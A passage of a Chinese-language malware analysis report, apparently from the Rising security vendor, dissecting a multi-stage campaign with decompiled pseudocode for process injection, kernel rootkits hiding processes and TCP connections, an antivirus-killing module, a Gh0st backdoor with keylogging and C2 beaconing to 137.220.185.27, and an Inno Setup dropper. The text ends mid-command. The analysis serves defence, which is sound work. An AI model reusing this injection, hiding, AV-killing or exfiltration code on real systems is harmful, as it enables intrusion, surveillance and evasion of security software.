file_handle = open_file("C:\\ProgramData\\Roning\\trustinstaller.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (file_handle is invalid) {
    status_code = ERROR_OUTOFMEMORY; // 或其他错误码
    goto exit;
}
// 获取文件大小
file_size = get_file_size(file_handle, NULL);
if (file_size - 1 > 0xFFFFFFFD) {
    close_handle(file_handle);
    status_code = ERROR_OUTOFMEMORY;
    goto exit;
}
// 分配内存用于存放文件内容
shellcode_buffer = allocate_memory(file_size);
if (shellcode_buffer is NULL) {
    close_handle(file_handle);
    status_code = ERROR_OUTOFMEMORY;
    goto exit;
}
// 读取文件内容
bytes_read = 0;
if (!read_file(file_handle, shellcode_buffer, file_size, &bytes_read, NULL) || bytes_read != file_size) {
    free_memory(shellcode_buffer);
    close_handle(file_handle);
    status_code = ERROR_OUTOFMEMORY;
    goto exit;
}
close_handle(file_handle);
// 打开目标进程
process_handle = open_process(PROCESS_ALL_ACCESS, FALSE, target_pid);
if (process_handle is invalid) {
    status_code = ERROR_OUTOFMEMORY;
    goto exit;
}
// 在目标进程中分配可执行内存
remote_memory_address = allocate_remote_memory(process_handle, NULL, file_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remote_memory_address is NULL) {
    close_handle(process_handle);
    status_code = ERROR_OUTOFMEMORY;
    goto exit;
}
// 将 shellcode 写入目标进程
bytes_read = 0;
if (write_to_remote_memory(process_handle, remote_memory_address, shellcode_buffer, file_size, &bytes_read) && bytes_read == file_size) {
    // 创建远程线程执行 shellcode
    create_remote_thread(process_handle, NULL, 0, remote_memory_address, NULL, 0, NULL);
    status_code = 0; // 成功
} else {
    // 写入失败,释放远程内存
    free_remote_memory(process_handle, remote_memory_address, 0, MEM_RELEASE);
    status_code = ERROR_OUTOFMEMORY;
}
close_handle(process_handle);

  读取Enpug.bin内容作为shellcode注入目标进程

// 目标进程名列表
target_process_list = ["taskhostw.exe", "ctfmon.exe", "RuntimeBroker.exe", "sihost.exe", "SecurityHealthSystray.exe"]

while (true)
{
    index = (current_index + last_found_index) % 5
    target_process_name = target_process_list[index]

    // 创建进程快照枚举所有进程
    snapshot = CreateToolhelp32Snapshot(2, 0)
    if (snapshot == INVALID_HANDLE) continue

    pe.dwSize = sizeof(PROCESSENTRY32)
    while (Process32FirstW(snapshot, &pe))
    {
        // 忽略大小写匹配进程名
        if (compare_strings_ignore_case(pe.szExeFile, target_process_name))
        {
            // 打开目标进程
            process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID)
            if (!process_handle) continue

            // 检查进程是否已被感染
            if (is_process_infected(pe.th32ProcessID))
            {
                wait_for_process_exit(process_handle)
                continue
            }

            malicious_file = CreateFileA("C:\\ProgramData\\Roning\\Enpug.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)

            if (malicious_file != INVALID_HANDLE)
            {
                file_size = GetFileSize(malicious_file, NULL)

                if (file_size <= MAX_FILE_SIZE)
                {
                    // 创建内存映射区域
                    section_handle = CreateFileMapping(malicious_file, NULL, PAGE_READWRITE, 0, file_size, NULL)

                    if (section_handle)
                    {
                        // 映射到当前进程
                        local_address = MapViewOfFile(section_handle, FILE_MAP_ALL_ACCESS, 0, 0, file_size)

                        if (local_address)
                        {
                            // 映射到目标进程
                            remote_address = NULL
                            if (MapViewOfFileEx(section_handle, FILE_MAP_ALL_ACCESS, process_handle, 0, file_size, remote_address))
                            {
                                log_message("成功映射到目标进程")

                                // 在目标进程中创建远程线程执行恶意代码
                                if (CreateRemoteThread(process_handle, NULL, 0, remote_address, NULL, 0, NULL))
                                {
                                    log_message("远程线程已启动")
                                    wait_for_process_exit(process_handle)
                                }
                            }

                            UnmapViewOfFile(local_address)
                        }

                        CloseHandle(section_handle)
                    }
                }

                CloseHandle(malicious_file)
            }

            CloseHandle(process_handle)
            break
        }

        Process32NextW(snapshot, &pe)
    }

    CloseHandle(snapshot)

    current_index++
    if (current_index >= 5)
    {
        log_message("Complete a round of scanning")
        sleep_for_long_time()
        current_index = 0
    }
}

vmservice.sys分析

字段 内容
原始文件名 vmservice.sys
文件大小 51 KB
文件MD5 5b3bea02989eaa3c91cc0529b28c0fdb
文件类型 SYS
病毒名 Rootkit.Injector!1.13AAC
主要功能 将diamondage.dll注入特定进程

  创建系统线程用于监控进程并注入diamondage.dllexplorer.exe

void monitor_thread(void* context) {
    unsigned long long process_id;
    PEPROCESS current_process;
    __int64 image_name_ptr;
    __int64 name_index;
    wchar_t char_byte;
    PEPROCESS process;
    union _LARGE_INTEGER delay_interval;
    wchar_t process_name[8];
    int should_stop = 0;

    delay_interval.QuadPart = -30000000LL;
    KeDelayExecutionThread(0, 0, &delay_interval);

    for (process_id = 4; process_id < 0x10000; process_id += 4) {
        if (should_stop)
            break;

        process = NULL;
        if (PsLookupProcessByProcessId((HANDLE)process_id, &process) >= 0) {
            current_process = process;
            if (process != PsInitialSystemProcess) {
                image_name_ptr = PsGetProcessImageFileName();
                if (image_name_ptr) {
                    name_index = 0;
                    *(_OWORD *)process_name = 0;

                    do {
                        char_byte = *(unsigned __int8 *)(image_name_ptr + name_index);
                        if (!char_byte)
                            break;
                        process_name[name_index++] = char_byte;
                    } while (name_index < 15);

                    if (!wcsicmp(process_name, L"explorer.exe"))
                        InjectDLL_RemoteThread(process, L"C:\\ProgramData\\DiamondAge\\diamondage.dll");
                }
                current_process = process;
            }
            ObfDereferenceObject(current_process);
        }
    }
    PsTerminateSystemThread(0);
}

  在ntdll.dll加载时注入diamondage.dll到目标进程

void ImageLoadCallback(__int64 a1, unsigned __int64 a2, __int64 a3)
{
    wchar_t *dllPath; // rcx
    PEPROCESS currentProcess; // rax
    char isWow64; // di
    PEPROCESS targetProcess; // rax
    char isTargetProcess; // r14
    const wchar_t *processName; // rbx
    __int64 ldrLoadDllAddress; // rax
    OBJECT_NAME_INFORMATION *objectNameInfo; // BYREF
    FILE_OBJECT *fileObject; // BYREF
    PEPROCESS process; // BYREF
    wchar_t wow64DllPath[28]; // BYREF
    wchar_t systemDllPath[28]; // BYREF

    if ((a2 & 0xFFFFFFFFFFFFFFFBuLL) != 0 && !KeGetCurrentIrql() && (*(_DWORD *)a3 & 0x100) == 0)
    {
        if (a1)
        {
            dllPath = *(wchar_t **)(a1 + 8);
            if (dllPath)
            {
                wcscpy(wow64DllPath, L"\\Windows\\SysWOW64\\ntdll.dll");
                wcscpy(systemDllPath, L"\\Windows\\System32\\ntdll.dll");

                // 检查是否是32位ntdll.dll
                if (wcsstr(dllPath, wow64DllPath) && (currentProcess = IoGetCurrentProcess(), PsGetProcessWow64Process(currentProcess)))
                {
                    isWow64 = 1;
                }
                else
                {
                    // 检查是否是64位ntdll.dll
                    if (!wcsstr(*(wchar_t **)(a1 + 8), systemDllPath))
                        return;

                    currentProcess = IoGetCurrentProcess();
                    if (PsGetProcessWow64Process(currentProcess))
                        return;
                    isWow64 = 0;
                }

                process = 0LL;
                fileObject = 0LL;
                isTargetProcess = 0;
                objectNameInfo = 0LL;

                // 获取目标进程信息
                if (PsLookupProcessByProcessId((HANDLE)a2, &process) >= 0)
                {
                    if (PsReferenceProcessFilePointer(process, &fileObject) >= 0)
                    {
                        IoQueryFileDosDeviceName(fileObject, &objectNameInfo);
                        ObfDereferenceObject(fileObject);
                    }

                    if (objectNameInfo)
                    {
                        int lastSlashPos = FindLastCharacter(objectNameInfo, 92LL);
                        if (lastSlashPos != -1)
                        {
                            processName = &objectNameInfo->Name.Buffer[lastSlashPos + 1];
                            // 检查是否为特定进程
                            if (!wcsicmp(processName, L"explorer.exe") || 
                                !wcsicmp(processName, L"taskmgr.exe") || 
                                !wcsicmp(processName, L"perfmon.exe"))
                            {
                                isTargetProcess = 1;
                            }
                        }
                        ExFreePoolWithTag(objectNameInfo, 0);
                    }

                    ObfDereferenceObject(process);

                    if (isTargetProcess)
                    {
                        // 获取LdrLoadDll函数地址
                        ldrLoadDllAddress = GetExportAddress(*(_QWORD *)(a3 + 8), "LdrLoadDll");
                        // 使用APC方式注入DLL
                        InjectDLL_APC(a2, L"C:\\ProgramData\\DiamondAge\\diamondage.dll", ldrLoadDllAddress, 0LL);
                    }
                }
            }
        }
    }
}

  注册进程对象回调,保护diamondage.exe进程不被终止

ProcessCallback(ProcessObject, CallbackData)
{
    ProcessType = ProcessObject + 16
    if (*ProcessType == PsProcessType)
    {
        KProcess = ProcessObject + 8
        ProcessName = PsGetProcessImageFileName(KProcess)

        if (ProcessName)
        {
            if (字符串不区分大小写比较(ProcessName, "diamondage.exe", 15) 
                && 当前进程 != KProcess
                && (*ProcessObject == 1 || *ProcessObject == 2))
            {
                // 移除PROCESS_TERMINATE权限位 - 防止进程被终止
                *(*(ProcessObject + 32)) &= ~1
            }
        }
    }
    return 0
}

diamondage.dll分析

字段 内容
原始文件名 diamondage.dll
文件大小 253 KB
文件MD5 edad037c7896f30d1696a4368a306504
文件类型 DLL
病毒名 Trojan.Agent!1.13AAE
主要功能 HOOK系统函数,保护diamondage.exe

  通过Hook函数NtQuerySystemInformation过滤SystemProcessInformation隐藏进程diamondage.exe

NTSTATUS status;
ULONG system_information_class;
PVOID process_info_buffer;
PVOID current_entry;
PVOID prev_entry;
ULONG next_entry_offset;
PWSTR current_image_name;
PWSTR target_process_name = L"diamondage.exe";

// 调用原始 NtQuerySystemInformation
status = OriginalNtQuerySystemInformation(system_information_class, &process_info_buffer, ...);

// 仅处理 SystemProcessInformation (class 5) 且调用成功的情况
if (system_information_class == 5 && NT_SUCCESS(status)) {
    prev_entry = NULL;
    current_entry = process_info_buffer;

    // 遍历进程链表
    while (true) {
        // 获取当前进程名称
        current_image_name = *(PWSTR*)((PUCHAR)current_entry + 64);

        // 比较进程名
        if (current_image_name && _wcsicmp(current_image_name, target_process_name) == 0) {
            break; // 找到目标进程
        }

        prev_entry = current_entry;
        next_entry_offset = *(ULONG*)current_entry; // 获取 NextEntryOffset

        // 如果是链表末尾,直接返回
        if (next_entry_offset == 0) {
            return status;
        }

        // 移动到下一个条目
        current_entry = (PUCHAR)current_entry + next_entry_offset;
    }

    // 执行隐藏逻辑:从链表中摘除当前节点
    next_entry_offset = *(ULONG*)current_entry;

    if (prev_entry == NULL) {
        // 如果是第一个节点
        if (next_entry_offset != 0) {
            // 将后续内存数据前移,覆盖当前节点
            PVOID next_entry = (PUCHAR)current_entry + next_entry_offset;
            memmove(current_entry, next_entry, ...);

            // 继续处理链表
            // ...
        }
    } else {
        // 如果是中间或末尾节点
        if (next_entry_offset == 0) {
            // 命中链表末尾,将前一节点的 NextEntryOffset 设为 0
            *(ULONG*)prev_entry = 0;
        } else {
            // 命中中间节点,调整前一节点的偏移量以跳过当前节点
            *(ULONG*)prev_entry += next_entry_offset;
        }
    }
}

return status;

  通过Hook函数GetExtendedTcpTable隐藏进程diamondage.exeTCP连接

// 调用原始API获取TCP表
unsigned int result_code = original_GetExtendedTcpTable(table_buffer, buffer_size_ptr, order_param, af_param, class_param);

// 检查是否调用成功且参数有效,且表类型包含进程信息
if (result_code == 0 && table_buffer && buffer_size_ptr && is_owner_class(class_param)) {
    unsigned int total_entries = table_buffer[0];
    unsigned int visible_count = 0;

    // 遍历所有TCP连接条目
    for (unsigned int i = 0; i < total_entries; ++i) {
        // 获取当前条目对应的进程PID
        unsigned int process_id = table_buffer[6 * i + 6];

        // 刷新需要隐藏的目标进程集合
        enumerate_target_processes();   //diamondage.exe

        // 进入临界区访问全局哈希表
        EnterCriticalSection(&global_critical_section);

        // 计算PID的哈希值 (FNV-1a算法)
        unsigned long long hash_key = 0xCBF29CE484222325;
        unsigned char *pid_bytes = (unsigned char *)&process_id;
        for (int j = 0; j < 4; ++j) {
            hash_key = (hash_key * 0x100000001B3) ^ pid_bytes[j];
        }

        // 在哈希表中查找该PID是否存在
        int is_target = 0;
        unsigned long long bucket_index = (hash_key & global_mask) * 2;
        void *list_node = global_hash_table[bucket_index + 1];

        while (list_node != &sentinel_node) {
            if (*(unsigned int *)(list_node + 16) == process_id) {
                is_target = 1;
                break;
            }
            list_node = *(void **)list_node;
        }

        LeaveCriticalSection(&global_critical_section);

        // 如果PID不在目标集合中(即不需要隐藏),则保留该连接
        if (!is_target) {
            if (i != visible_count) {
                // 将有效条目移动到数组前面,压缩空间
                copy_memory(&table_buffer[6 * visible_count + 1], &table_buffer[6 * i + 1], 24);
            }
            visible_count++;
        }
    }

    // 更新返回给调用者的条目数量和缓冲区大小
    table_buffer[0] = visible_count;
    *buffer_size_ptr = 4 + (24 * visible_count);
}

  若当前进程名不是explorer.exe,则启动diamondage.exe

target_path = "C:\ProgramData\DiamondAge\diamondage.exe";

while (TRUE) {
    // 初始化结构体
    memset(&exec_info, 0, sizeof(exec_info));
    exec_info.cbSize = sizeof(exec_info);
    exec_info.fMask = SEE_MASK_NOCLOSEPROCESS;
    exec_info.lpFile = target_path;
    exec_info.nShow = SW_SHOWNORMAL;

    if (!ShellExecuteExW(&exec_info) || !exec_info.hProcess) {
        break;
    }

    // 等待进程结束
    WaitForSingleObject(exec_info.hProcess, INFINITE);

    // 获取退出码并清理句柄
    GetExitCodeProcess(exec_info.hProcess, &exit_code);
    CloseHandle(exec_info.hProcess);

    // 休眠3秒
    Sleep(3000);
}

// 获取最后的错误码
DWORD last_error = GetLastError();

// 格式化系统错误信息
FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM, NULL, last_error, 0, error_msg_buffer, 512, NULL);

// 拼接完整的错误提示信息
build_error_string(display_text, target_path, last_error, error_msg_buffer);

// 显示错误弹窗
MessageBoxW(NULL, display_text, L"Error", MB_ICONERROR);

// 休眠5秒
Sleep(5000);

MiniFilterDrv分析

字段 内容
原始文件名 MiniFilterDrv
文件大小 50 KB
文件MD5 1909e031316287156c2dac3018ba337b
文件类型 SYS
病毒名 Rootkit.FilterDrv!1.139D4
主要功能 保护diamondage.exe

  监控线程用来定期检查从注册表加载受保护路径

delay_interval.QuadPart = -30000000; 
KeDelayExecutionThread(KernelMode, FALSE, &delay_interval);

for (int retry_count = 0; retry_count < 5; ++retry_count) {
    // 受保护路径(HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MiniFilterDrv\Parameters)
    if (LoadProtectedPathsFromRegistry(context) >= STATUS_SUCCESS) {
        // 获取共享资源锁保护全局数据
        ExAcquireResourceShared(&g_resource_lock, TRUE);

        int active_paths_count = 0;
        for (unsigned int path_index = 0; path_index < MAX_PROTECTED_PATHS; ++path_index) {
            // 检查路径条目是否激活 
            if (g_protected_paths[path_index].is_active) {
                ++active_paths_count;
            }
        }
        ExReleaseResource(&g_resource_lock);

        // 发现有效路径时激活监控 
        if (active_paths_count > 0) {
            g_is_monitoring_active = TRUE;
            return; // 退出线程 
        }
    }

    // 重试前延时1秒 
    delay_interval.QuadPart = -10000000;
    KeDelayExecutionThread(KernelMode, FALSE, &delay_interval);
}

  每次文件创建/打开操作时,对文件进行允许或拦截操作

// 检查是否为内核模式请求,如果是则放行
if (!callbackData->RequestorMode)
    return FLT_PREOP_SUCCESS_NO_CALLBACK;

// 获取文件名信息,失败则放行
if (FltGetFileNameInformation(callbackData, 0x101, &fileNameInfo) < 0)
    return FLT_PREOP_SUCCESS_NO_CALLBACK;

// 解析文件名并检查保护条件
if (FltParseFileNameInformation(fileNameInfo) < 0 ||
    (!IsPathProtected(&fileNameInfo->Name) &&    // 检查路径是否在受保护列表中(从注册表加载受保护路径)
     !IsCurrentProcessBlocked() &&  // 检查当前进程是否在阻止访问列表中(Telegram.exe)
     ((Options & 0x1000) == 0 || 
      !IsPathInHardcodedList(&fileNameInfo->Name) ||     // 检查路径是否在硬编码列表中(\Device\HarddiskVolume3\ProgramData\DiamondAge)
      IsCurrentProcessAllowed()) &&     // 检查当前进程是否在允许列表中(diamondage.exe)
     ((FsInfoClassHigh & 0xFA) != 0 || 
      FsInfoClassHigh == 1 || 
      !IsPathInHardcodedList(&fileNameInfo->Name) || 
      IsCurrentProcessAllowed())))
{
    // 允许访问
    FltReleaseFileNameInformation(fileNameInfo);
    return FLT_PREOP_SUCCESS_NO_CALLBACK;
}
else
{
    // 拒绝访问并设置错误码
    callbackData->IoStatus.Status = STATUS_ACCESS_DENIED;
    callbackData->IoStatus.Information = 0;
    FltReleaseFileNameInformation(fileNameInfo);
    return FLT_PREOP_DISALLOW_CALLBACK;
}

  通过IOCTL接口与用户态程序通信:

IOCTL代码 功能
0x222000 添加受保护路径
0x222004 删除受保护路径
0x222008 获取路径信息
0x22200C 移除路径
0x222010 添加被阻止的进程ID

1.dll分析

字段 内容
原始文件名 1.dll
文件大小 104 KB
文件MD5 f8c3fc89d7a33c90110e401acc799d05
文件类型 DLL
病毒名 Trojan.KillAV!1.13548
主要功能 结束安全软件进程

  通过TerminateProcess结束安全进程

PROCESSENTRY32 process_entry;
HANDLE snapshot_handle;
HANDLE process_handle;

// 初始化结构体大小
process_entry.dwSize = sizeof(process_entry);

// 创建系统进程快照
snapshot_handle = CreateToolhelp32Snapshot(0x00000002, 0);

if (snapshot_handle != INVALID_HANDLE_VALUE) {
    if (Process32First(snapshot_handle, &process_entry)) {
        // 循环查找直到进程名称匹配
        while (strcmp(process_entry.szExeFile, target_process_name)) {
            if (!Process32Next(snapshot_handle, &process_entry)) {
                goto cleanup;
            }
        }

        // 打开目标进程以获取句柄
        process_handle = OpenProcess(0x00000001, 0, process_entry.th32ProcessID);
        if (process_handle) {
            // 终止进程
            TerminateProcess(process_handle, 0);
            CloseHandle(process_handle);
        }
    }

cleanup:
    // 关闭快照句柄
    CloseHandle(snapshot_handle);
}

  结束进程列表如下:

ZhuDongFangYu.exe
360Tray.exe
360tray.exe
360Safe.exe
HipsMain.exe
HipsDaemon.exe
HipsTray.exe
QMToolWidget.exe
QQPCRTP.exe
QQPCTray.exe
kxecenter.exe
kxetray.exe
kxemain.exe

diamondage.exe分析

字段 内容
原始文件名 diamondage.exe
文件大小 160 KB
文件MD5 9207367bc1a2e10fad8edad0ffadc6e7
文件类型 EXE
病毒名 Backdoor.Gh0st!1.130D9
主要功能 向C2发送主机信息

  从注册表读取配置

if (verify_global_mutex())
{
    // 从注册表读取 Enable 配置
    char *config_flag = read_registry_value("Enable");

    if (compare_string_ignore_case(config_flag, "False"))
    {
        output_debug_string("Blocked");
        terminate_process(0xFFFFFFFF);
    }

    // 从注册表读取 Time 配置
    char *time_value = read_registry_value("Time");

    if (is_string_empty(time_value))
    {
        long long current_epoch;
        get_system_time64(&current_epoch);
        struct tm *local_time = convert_to_local_time(&current_epoch);

        char time_buffer[64];
        zero_memory(time_buffer, sizeof(time_buffer));

        format_string(
            time_buffer,
            "%d-%d-%d %d:%d",
            local_time->tm_year + 1900,
            local_time->tm_mon + 1,
            local_time->tm_mday,
            local_time->tm_hour,
            local_time->tm_min
        );

        // 将当前时间写入注册表
        write_registry_value("Time", time_buffer);
    }
}

  将键盘记录和剪贴板内容写入日志文件microsoft.dotnet.common.log

// 尝试创建互斥体,确保只有一个实例在运行
while (TRUE) {
    create_mutex("GlobalLoggerMutex");
    if (get_last_error() != ERROR_ALREADY_EXISTS) {
        break;
    }
    sleep(1000);
}

while (TRUE) {
    // 检查离线模式标志
    if (is_offline_mode()) {
        module_handle = get_module_handle(NULL);
        console_window = get_console_window();

        // 初始化输入捕获和日志文件
        if (!initialize_capture(&console_window, &module_handle)) {
            return 0;
        }

        // 执行键盘记录和剪贴板捕获的循环
        perform_recording_loop();
    }

    sleep(1000);
}

  创建一个隐藏的窗口,用于在后台监听剪贴板的内容变化

// 获取当前模块实例句柄
HINSTANCE h_instance = GetModuleHandleA(NULL);

// 读取配置以判断是否启用剪贴板监听功能
int is_clipboard_enabled = (strcmp(read_config_value("clipboard"), "1") == 0);

// 初始化窗口类结构体
WNDCLASSA window_class;
memset(&window_class, 0, sizeof(window_class));
window_class.hInstance = h_instance;
window_class.lpfnWndProc = WindowProc;
window_class.lpszClassName = "ClipboardListener_Class_Toggle";

// 注册窗口类
if (!RegisterClassA(&window_class))
    return 1;

// 创建隐藏窗口用于消息处理
HWND window_handle = CreateWindowExA(
    0,
    "ClipboardListener_Class_Toggle",
    "ClipboardMonitor",
    0,
    CW_USEDEFAULT,
    CW_USEDEFAULT,
    0,
    0,
    NULL,
    NULL,
    h_instance,
    NULL
);

if (!window_handle)
    return 1;

// 设置窗口额外数据
SetWindowLongPtrA(window_handle, GWLP_USERDATA, (LONG_PTR)&h_instance);

// 隐藏窗口
ShowWindow(window_handle, SW_HIDE);

// 如果配置开关开启,则初始化剪贴板监听
if (is_clipboard_enabled) {
    InitClipboardListener(&h_instance, TRUE);
}

// 进入消息循环
MSG msg;
while (GetMessageA(&msg, NULL, 0, 0) > 0) {
    TranslateMessage(&msg);
    DispatchMessageA(&msg);
}

return 0;

  从注册表读取数据并解密出C2服务器地址137.220.185.27

// 解密payload_buffer,使用XOR 0x61
for (i = 0; i < payload_length; i++) {
    payload_buffer[i] ^= 0x61   //137.220.185.27
}

// 从注册表读取CopyC配置项(Base64编码的载荷)
encoded_payload = read_registry("CopyC")
// 如果Base64编码存在,则解码并执行
if (string_length(encoded_payload) > 1) {
    decoded_payload = base64_decode(encoded_payload, MAX_SIZE)
    // 解密载荷,使用XOR 5
    for (i = 0; i < decoded_payload.length; i++) {
        decoded_payload[i] ^= 5
    }
    // 将解密后的载荷复制到payload_buffer
    copy_to_buffer(payload_buffer, decoded_payload)

    // 循环执行载荷直到特定条件
    do {
        // 创建载荷执行线程
        thread = create_thread(payload_executor, payload_buffer)
        // 等待线程执行完成
        wait_thread(thread, INFINITE)
        close_handle(thread)

        // 检查是否需要重新加载载荷
        if (restart_flag) {
            restart_flag = 0
            encoded_payload = read_registry("CopyC")
            if (string_length(encoded_payload) <= 1) break

            decoded_payload = base64_decode(encoded_payload, MAX_SIZE)
            // 重新解密载荷
            for (i = 0; i < decoded_payload.length; i++) {
                decoded_payload[i] ^= 5
            }
            copy_to_buffer(payload_buffer, decoded_payload)
        }
    } while (execution_condition)

  向C2发送主机信息

// 初始化数据包
unsigned char data_packet[512];
memset(data_packet, 0, sizeof(data_packet));

// 设置数据包魔数
data_packet[0] = 0xC8;

// 设置源标识符
strncpy((char*)&data_packet[87], "Source", 39);

// 设置本地IP地址
struct in_addr addr;
addr.s_addr = *((uint32_t*)(a1 + 104));
memcpy(&data_packet[2], &addr, 4);

// 获取系统信息
get_system_info((char*)&data_packet[6]);

// 获取计算机名称
void* comp_name[2];
get_computer_name(comp_name);
if (name_length >= 16)
    comp_name = (char*)comp_name[0];
strncpy((char*)&data_packet[22], (char*)comp_name, 157);

// 检查管理员权限
data_packet[96] = is_admin() ? 1 : 0;

// 设置数据包标志
data_packet[70] = flags;

// 获取系统版本
data_packet[161] = get_os_version();

// 获取进程ID
int process_id;
get_process_id(&process_id);
data_packet[97] = process_id;

// 获取用户名
const char* username = get_username();
strncpy((char*)&data_packet[86], username, 63);

// 获取系统时间
char timestamp[32];
get_current_time(timestamp);
strncpy((char*)&data_packet[209], timestamp, 63);

// 读取注册表配置
const char* reg_time = read_registry("Time");
strncpy((char*)&data_packet[113], reg_time, 63);

// 设置额外数据
if (extra_data_count) {
    const char* extra_data = get_extra_data();
    strncpy((char*)&data_packet[162], extra_data, extra_data_count);
}

// 构建Chrome扩展路径
char chrome_path[256];
const char* user_dir = get_user_directory();
sprintf(chrome_path, "C:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nkbihfbeogaeaoehlefnkodbefgpgknn\\", user_dir);

// 获取浏览器指纹
if (has_extension_registry()) {
    const char* ext_id = read_extension_id();
    strncpy((char*)&data_packet[233], ext_id, 63);
} else {
    if (file_exists(chrome_path)) {
        strncpy((char*)&data_packet[233], "extension_id", 63);
    }
}

// 设置系统特征
data_packet[193] = get_system_signature1();
data_packet[194] = get_system_signature2();

// 发送数据到C2服务器
unsigned int result = send_to_c2(ip, data_packet, 776);

// 清理临时内存
if (temp_var1) free(temp_var1);
if (temp_var2) free(temp_var2);

攻击过程可视化(EDR)

基于瑞星EDR终端检测与响应平台的实时监控数据,通过威胁行为可视化分析功能,我们也可以完整还原相关程序的执行过程和关联关系

image

案例3:部分恶意行为藏匿于安装包的安装脚本内

攻击流程

image

样本分析

字段 内容
原始文件名 Googie_giscsv_890.336.exe
文件大小 107.34 MB (112553761 bytes)
文件MD5 e441c330775185ffc18fd6f747e7b543
安装包类型 Inno Setup 6.3.0
病毒名 Dropper.Agent/IFPS!1.1395D
主要功能 拼接解压释放出恶意文件

  该样本为使用Inno Setup 6.3.0构建的安装包,在运行后会先将unzip.1unzip.2main.1main.2释放到C:\ProgramData\WindowsData文件夹中

[Setup]
AppName=Google
AppVerName=Google
AppId=Google
AppVersion=1.8
DefaultDirName=C:\ProgramData\WindowsData
OutputBaseFilename=Googie_giscsv_890.336
Compression=lzma
Uninstallable=no
DisableDirPage=yes
DisableProgramGroupPage=yes
WizardImageFile=embedded\WizardImage0.bmp,embedded\WizardImage1.bmp
WizardSmallImageFile=embedded\WizardSmallImage0.bmp,embedded\WizardSmallImage1.bmp,embedded\WizardSmallImage2.bmp,embedded\WizardSmallImage3.bmp,embedded\WizardSmallImage4.bmp,embedded\WizardSmallImage5.bmp,embedded\WizardSmallImage6.bmp

[Files]
Source: "{app}\unzip.1"; DestDir: "{app}"; 
Source: "{app}\unzip.2"; DestDir: "{app}"; 
Source: "{app}\main.1"; DestDir: "{app}"; 
Source: "{app}\main.2"; DestDir: "{app}"; 

其在脚本的code段即IFPS安装脚本中进行下一步操作(下面仅列举部分主要行为):

  1. unzip.1unzip.2拼接为一个7z解压工具
  2. main.1main.2拼接为一个带密码的压缩包
  3. 通过命令行调用解压工具使用密码htLcENyRFYwXsHFnUnqK解压出后续组件men.exeServer.logsetup.exeman30.dat
  4. 运行men.exesetup.exe经过分析men.exe为主要的恶意模块,setup.exe为用于伪装的正常安装包

  该病毒将主要的恶意操作隐藏于Inno SetupIFPS安装脚本中,导致主流杀软难以提取出其恶意代码查杀,不过目前瑞星已经支持提取该文件并进行扫描。

image

men.exe分析

字段 内容
原始文件名 men.exe
文件大小 1.46 MB (1535488 bytes)
文件MD5 8e467c4b44383ec8c350f12c1f747f8a
文件类型 PE
病毒名 Trojan.PoolInject!1.13A31
主要功能 释放恶意程序并加载

  该文件首先会通过查看C:\\Users\\Public\\Documents\\x86-Microsoft-Windowsdata\\目录下是否存在StartMenuExperienceHostker.exe文件判断是否已经攻击过,如果存在则执行命令屏蔽所有入站流量,允许所有出站流量后结束

  if ( PathFileExistsA("C:\\Users\\Public\\Documents\\x86-Microsoft-Windowsdata\\StartMenuExperienceHostker.exe") )
  {
    WinExec("netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound", 0);
    ExitProcess(0);
  }

  如果不存在则进入下一步操作,获取机器上运行的杀软信息

for (pItem = StartAddr; pItem != EndAddr; pItem += 32) 
{
    // 检查当前项是否属于已知的安全软件进程名单
    if (IsTargetProcess(pItem, "360tray.exe")    || 
        IsTargetProcess(pItem, "QQPCRTP.exe")    || 
        IsTargetProcess(pItem, "QHSafeTray.exe") || 
        IsTargetProcess(pItem, "LenovoTray.exe") || 
        IsTargetProcess(pItem, "kxetray.exe")    ) 
    {
        // 创建系统进程快照
        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == INVALID_HANDLE_VALUE) continue;

        procEntry.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &procEntry)) 
        {
            do 
            {
                // 获取当前列表项对应的目标进程特征
                targetFeature = GetItemFeature(pItem);

                // 比对快照中的进程名与目标特征是否一致
                if (CompareProcessName(procEntry.szExeFile, targetFeature))
                    continue;

                // 尝试打开目标进程以获取进一步信息
                hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, procEntry.th32ProcessID);
                if (!hProcess) continue;

                // 获取该进程在硬盘上的完整绝对路径
                pathSize = MAX_PATH;
                if (QueryFullProcessImageNameA(hProcess, 0, FullPath, &pathSize)) 
                {
                    // 根据识别到的具体杀软类型,将获取到的完整路径保存到对应的全局变量中
                    if (IsTargetProcess(pItem, "QQPCRTP.exe"))
                        SavePathToGlobal(GlobalPath_QQ, FullPath);
                    else if (IsTargetProcess(pItem, "360tray.exe"))
                        SavePathToGlobal(GlobalPath_360, FullPath);
                    else if (IsTargetProcess(pItem, "QHSafeTray.exe"))
                        SavePathToGlobal(GlobalPath_360Safe, FullPath);
                    else if (IsTargetProcess(pItem, "kxetray.exe"))
                        SavePathToGlobal(GlobalPath_Kingsoft, FullPath);
                    /* ... 匹配其他杀软并记录路径 ... */
                }

                CloseHandle(hProcess);
            } 
            while (Process32Next(hSnapshot, &procEntry)); // 循环直到遍历完所有进程
        }
        CloseHandle(hSnapshot);
    }
}

  之后释放出自带的密码为Server8888的压缩包tree.exe


  HANDLE FileA; 
  bool v1; 
  DWORD NumberOfBytesWritten; 

  FileA = CreateFileA(
            "C:\\Users\\Public\\Documents\\x86-Microsoft-Windowsdata\\tree.exe",
            0x40000000u,
            1u,
            0LL,
            2u,
            0,
            0LL);
  v1 = WriteFile(FileA, &unk_140078D00, 0xEE71Eu, &NumberOfBytesWritten, 0LL);
  CloseHandle(FileA);
  return v1;

  通过命令行解压到C:\\Users\\Public\\Documents\\x86-Microsoft-Windowsdata目录下,其中包含KANG.exelog.dllStartMenuExperienceHostker.exe以及WUDFCompanionHoste.exe

  WinExec(
    "C:\\ProgramData\\WindowsData\\funzip.exe x \"C:\\Users\\Public\\Documents\\x86-Microsoft-Windowsdata\\tree.exe\" -pS"
